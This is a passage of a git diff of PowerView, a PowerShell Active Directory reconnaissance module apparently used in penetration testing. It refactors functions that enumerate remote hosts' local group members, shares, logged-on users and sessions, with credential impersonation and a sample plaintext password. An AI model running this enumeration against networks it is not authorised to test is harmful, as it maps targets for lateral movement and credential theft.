we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information + # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero @@ -7748,12 +12372,12 @@ function Get-NetLocalGroup { $ResumeHandle = 0 # get the local user information - $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # Locate the offset of the initial intPtr + # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - $LocalUsers = @() + $Members = @() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7770,23 +12394,22 @@ function Get-NetLocalGroup { $Offset = $NewIntPtr.ToInt64() $Offset += $Increment - $SidString = "" + $SidString = '' $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result2 -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + if ($Result2 -eq 0) { + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { - $LocalUser = New-Object PSObject - $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname - $LocalUser | Add-Member Noteproperty 'SID' $SidString - + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName + $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $Member | Add-Member Noteproperty 'SID' $SidString $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') - $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') - - $LocalUsers += $LocalUser + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API') + $Members += $Member } } @@ -7794,1450 +12417,1905 @@ function Get-NetLocalGroup { $Null = $Netapi32::NetApiBufferFree($PtrInfo) # try to extract out the machine SID by using the -500 account as a reference - $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} - $Parts = $MachineSid.SID.Split('-') - $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' + $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID + if ($MachineSid) { + $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-')) - $LocalUsers | ForEach-Object { - if($_.SID -match $MachineSid) { - $_ | Add-Member Noteproperty 'IsDomain' $False + $Members | ForEach-Object { + if ($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' $True + } } - else { - $_ | Add-Member Noteproperty 'IsDomain' $True + } + else { + $Members | ForEach-Object { + if ($_.SID -notmatch 'S-1-5-21') { + $_ | Add-Member Noteproperty 'IsDomain' $False + } + else { + $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' + } } } - $LocalUsers + $Members } else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } - else { # otherwise we're using the WinNT service provider try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') - $Group - } + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + $GroupProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer/$GroupName,group", $Credential.UserName, $Credential.GetNetworkCredential().Password) } else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - - $Members | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server - - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) - - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' - $IsGroup = $Class -eq "Group" + $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" + } - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True - } - else { - $ObjName = $AdsPath.split("/")[-1] - $Name = $AdsPath - $IsDomain = $False - } + $GroupProvider.psbase.Invoke('Members') | ForEach-Object { - $Member | Add-Member Noteproperty 'AccountName' $Name - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Computer + $Member | Add-Member Noteproperty 'GroupName' $GroupName - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' "" + $LocalUser = ([ADSI]$_) + $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') + $IsGroup = ($LocalUser.SchemaClassName -like 'group') - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - } - else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") - - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) - - if($IsGroup) { - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - $Member | Add-Member Noteproperty 'Disabled' "" - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } - } - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsGroup) { - if($IsDomain) { - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() - - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Debug "Error resolving SID : $_" - } - } - - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - } - } else { - Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse - } - } + if(([regex]::Matches($AdsPath, '/')).count -eq 1) { + # DOMAIN\user + $MemberIsDomain = $True + $Name = $AdsPath.Replace('/', '\') + } + else { + # DOMAIN\machine\user + $MemberIsDomain = $False + $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') } + + $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain + + # if ($MemberIsDomain) { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # try { + # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # } + # else { + # # translate the binary sid to a string + # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) + # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) + + # if ($IsGroup) { + # $Member | Add-Member Noteproperty 'PwdLastSet' '' + # $Member | Add-Member Noteproperty 'PwdExpired' '' + # $Member | Add-Member Noteproperty 'UserFlags' '' + # $Member | Add-Member Noteproperty 'Disabled' '' + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # else { + # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # # UAC flags of 0x2 mean the account is disabled + # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) + # try { + # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + # } + # catch { + # $Member | Add-Member Noteproperty 'LastLogin' '' + # } + # } + # } + + $Member } } catch { - Write-Warning "[!] Error: $_" + Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" } } } } } -filter Get-NetShare { + +function Get-NetShare { <# - .SYNOPSIS +.SYNOPSIS - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" +Returns open shares on the local (or a remote) machine. - .PARAMETER ComputerName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - The hostname to query for shares. Also accepts IP addresses. +.DESCRIPTION - .OUTPUTS +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. This is a replacement for "net share \\hostname". - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share, - with the ComputerName added. +.PARAMETER ComputerName - .EXAMPLE +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. - PS C:\> Get-NetShare +.PARAMETER Credential - Returns active shares on the local host. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetShare -ComputerName sqlserver +Get-NetShare - Returns active shares on the 'sqlserver' host +Returns active shares on the local host. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer | Get-NetShare +Get-NetShare -ComputerName sqlserver - Returns all shares for all computers in the domain. +Returns active shares on the 'sqlserver' host - .LINK +.EXAMPLE - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> +Get-DomainComputer | Get-NetShare - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) +Returns all shares for all computers in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField +.OUTPUTS - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 +PowerView.ShareInfo - # get the share information - $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() +.LINK - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() + [OutputType('PowerView.ShareInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # return all the sections of the structure - $Shares = $Info | Select-Object * - $Shares | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Shares + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } + } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the raw share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $Share = $Info | Select-Object * + $Share | Add-Member Noteproperty 'ComputerName' $Computer + $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Share + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetLoggedon { +function Get-NetLoggedon { <# - .SYNOPSIS +.SYNOPSIS - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. - .PARAMETER ComputerName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf - The hostname to query for logged on users. +.DESCRIPTION - .OUTPUTS +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users, - with the ComputerName added. +.PARAMETER ComputerName - .EXAMPLE +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. - PS C:\> Get-NetLoggedon +.PARAMETER Credential - Returns users actively logged onto the local host. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetLoggedon -ComputerName sqlserver +Get-NetLoggedon - Returns users actively logged onto the 'sqlserver' host. +Returns users actively logged onto the local host. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer | Get-NetLoggedon +Get-NetLoggedon -ComputerName sqlserver - Returns all logged on userse for all computers in the domain. +Returns users actively logged onto the 'sqlserver' host. - .LINK +.EXAMPLE - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> +Get-DomainComputer | Get-NetLoggedon - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) +Returns all logged on users for all computers in the domain. - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField +.EXAMPLE - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +.OUTPUTS - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() +PowerView.LoggedOnUserInfo - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() +.LINK - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> - # return all the sections of the structure - $LoggedOn = $Info | Select-Object * - $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LoggedOn + [OutputType('PowerView.LoggedOnUserInfo')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } + } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + PROCESS { + ForEach ($Computer in $ComputerName) { + # declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure - have to do it this way for V2 + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } } } -filter Get-NetSession { +function Get-NetSession { <# - .SYNOPSIS +.SYNOPSIS + +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +.PARAMETER ComputerName - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. - .PARAMETER ComputerName +.PARAMETER Credential - The ComputerName to query for active sessions. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. - .PARAMETER UserName +.EXAMPLE - The user name to filter for active sessions. +Get-NetSession - .OUTPUTS +Returns active sessions on the local host. - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions, with the ComputerName added. +.EXAMPLE - .EXAMPLE +Get-NetSession -ComputerName sqlserver - PS C:\> Get-NetSession +Returns active sessions on the 'sqlserver' host. - Returns active sessions on the local host. +.EXAMPLE - .EXAMPLE +Get-DomainController | Get-NetSession - PS C:\> Get-NetSession -ComputerName sqlserver +Returns active sessions on all domain controllers. - Returns active sessions on the 'sqlserver' host. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred - PS C:\> Get-NetDomainController | Get-NetSession +.OUTPUTS - Returns active sessions on all domain controllers. +PowerView.SessionInfo - .LINK +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +.LINK + +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> + [OutputType('PowerView.SessionInfo')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', - [String] - $UserName = '' + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get session information - $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + PROCESS { + ForEach ($Computer in $ComputerName) { + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # work out how much to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure - have to do it this way for V2 + $Session = $Info | Select-Object * + $Session | Add-Member Noteproperty 'ComputerName' $Computer + $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Session + } - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + } - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 - # return all the sections of the structure - $Sessions = $Info | Select-Object * - $Sessions | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Sessions + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } -filter Get-LoggedOnLocal { +function Get-RegLoggedOn { <# - .SYNOPSIS +.SYNOPSIS + +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +.DESCRIPTION + +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). - This function will query the HKU registry values to retrieve the local - logged on users SID and then attempt and reverse it. - Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). +.PARAMETER ComputerName - Note: This function requires only domain user rights on the - machine you're enumerating, but remote registry must be enabled. +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 